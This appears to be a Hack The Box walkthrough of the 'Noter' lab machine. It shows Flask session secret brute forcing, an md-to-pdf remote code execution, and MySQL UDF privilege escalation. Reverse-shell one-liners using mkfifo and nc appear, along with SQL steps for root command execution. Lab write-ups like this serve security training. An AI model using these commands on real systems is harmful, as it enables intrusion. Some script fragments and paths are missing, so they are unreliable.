Noter — Hackthebox Walkthrough

Kavishka Gihan
8 min readSep 3, 2022

Noter, another linux box made by myself which features getting access to a note taking application by bruteforcing cookie secret of flask session tokens and source code analysis leading to command injection through a vulnerable node module including exploiting a MySQL UDF (User Defined Function) that results command execution as root.


Nmap reveals 3 open ports. Port 21(FTP), 22 (SSH) and port 5000. Visiting port 5000, we get a website.

nmap --open

After registering and logging in, we land on a dashboard that allows us to add notes. It seems that we are a normal member and not a VIP member.

We also get a cookie, which seems like in the format of Flask session cookies.

We can decode it to see what parameter are being set.

The following blog post goes over how Flask session management works and how we can bypass authentication by brute forcing the app secret.

According to the article, we can try to brute force the app secret with a simple python script.

Running this gives us the secret as secret123

Now we can create a session token to access as “admin”.

When we run the script, we get the admin token as follows.


But when we replace the cookie and refresh the page, we are redirected back to the login page.

So maybe this means that there is no ‘admin’ account. Since we don’t specifically know a username to create a token to, we will have to create tokens for a list of users and brute force to see what user gives us a 200 OK response.

from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, signer
import hashlib
from itsdangerous.exc import BadSignature
import sys
for user in open('/usr/share/wordlists/SecLists/Usernames/Names/names.txt').readlines():
session = {'logged_in' : True, "username" : user.strip()}
secret = "secret123"
'key_derivation' : 'hmac',
'digest_method' : hashlib.sha1

python3 > cookies

ffuf -u '' -H 'Cookie: session=FUZZ' -w cookies -fw 21

And we get a 200 response with token with the username blue.


So now we can replace the cookie with this and refresh the /dashboard

Now we are logged in as the blue user. Looking at the notes of the blue user’s, we see there is a note from the “Noter Team” which includes the credentials to access the FTP server. This also mentions about an attachment that was sent along with an Email.

Now we can access the FTP server with these credentials.

USER: blue 
PASS: blue@Noter!

After accessing the FTP server with the username and the password, we can see that there is a file named “policy.pdf”.

So we can download it and see what’s in it.

get policy.pdf

This gives some information about the password policy of this company. And, under the Password Creation section, there is something about the format of the password that is generated by the application.

It stated that the default password is in the format of username@site_name!. Looking at the username of the blue user, we can see that his password (blue@Noter!) fits to the format that's mentioned.

Assuming that the admin password is set to default and not changed, we can get the possible password of the admin user as ftp_admin@Noter! (Also this username is specified in the note as well). Using this, we can try to log in as admin to the FTP server.

And it works. After logging in as admin, we can see there are 2 ZIP archives, which seem to be backups of the Noter application. We can download them and see what we can find.


mkdir backup1
mv backup1
cd backup1

In the first ZIP file there is a “” file. We can see the credentials to access the MySQL server.

In the other ZIP file, we can see the function that controls the export function.

mkdir backup2
mv backup2
cd backup2

Here we can see that this is using “node” to export the notes to a PDF files. It’s using the “md-to-pdf.js” file in the misc directory. Looking at that file, we can see that it’s using a node package called md-to-pdf

Looking at the package details, we see that it is using version 4.1.0 of this package.

cat package-lock.json|grep -B 3 md-to-pdf

With a simple google search, we can find that this version is vulnerable to a Remote Code Execution vulnerability.

Knowing this, now we can try to exploit the remote export functionality in the application. But when we try to specify a URL, we get an error saying “Invalid file type”

Looking at the source code again, we see that it checks to see if the file ends with .md extension.

As the above link mentioned, we can try to use a payload as follows to verify that we have RCE.

We can make a file with this payload and name it as a README file ( Then we host it in our web server and then specify the URL as


After clicking “Export” we can see that our web server got a GET request to the file and after a couple of seconds another request to “/RCE_here which verifies that we have Remote Code Execution.

Now we can get a reverse shell by using the following payload instead of the curl.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9090 >/tmp/f


We can see mysql is running internally, Looking at the configuration files of mysql, we can see that MySQL daemon (mysqld) is running as root.

cat /etc/mysql/mariadb.conf.d/50-server.cnf|grep user

The following article goes over how running mysqld as root leads to Privilege Escalation.

As mentioned in the article,

  1. First we have to download the raptor_udf2.c file and upload in to the box and place it in /tmp.

nc -lvnp 9999 < raptor_udf2.c # locally
nc 9999 > raptor_udf2.c # Inside the box
mv raptor_udf2.c /tmp

2. Then we have to compile it with gcc.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname, -o raptor_udf2.o -lc

3. Now we have to start exploitation by logging in to mysql as root. We can use the credentials we found from the backup files.

mysql -u root -p mysql # Nildogg36

4. Then, we create a temporary table.

create table foo(line blob);

5. After, we insert the contents of the compiled file to the table.

insert into foo values(load_file('/tmp/'));

6. Then we have to find the directory where the MySQL plugins are stored.

show variables like '%plugin%';

7. After, we dump the table we created to a file at that location.

select * from foo into dumpfile "/usr/lib/x86_64-linux-gnu/mariadb19/plugin/";

8. Now we create a function that will use the raw binary just pushed.

create function do_system returns integer soname '';

9. Finally, we can simply call the function and execute what ever command we need as root. I started a listener on port 9090 and got a reverse shell.

select do_system('rm /tmp/k;mkfifo /tmp/k;cat /tmp/k|/bin/sh -i 2>&1|nc 9090 >/tmp/k &');


Hope you found this box fun and enjoyable. If you found any step to be unfit or unsuitable, please contact me and let me know. I would love to correct my mistakes and make better, improved content for the community!

Contact me though social media:

Email —
Instagram —
Discord — kavigihan#8518

Happy Hacking !!! 😄



Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan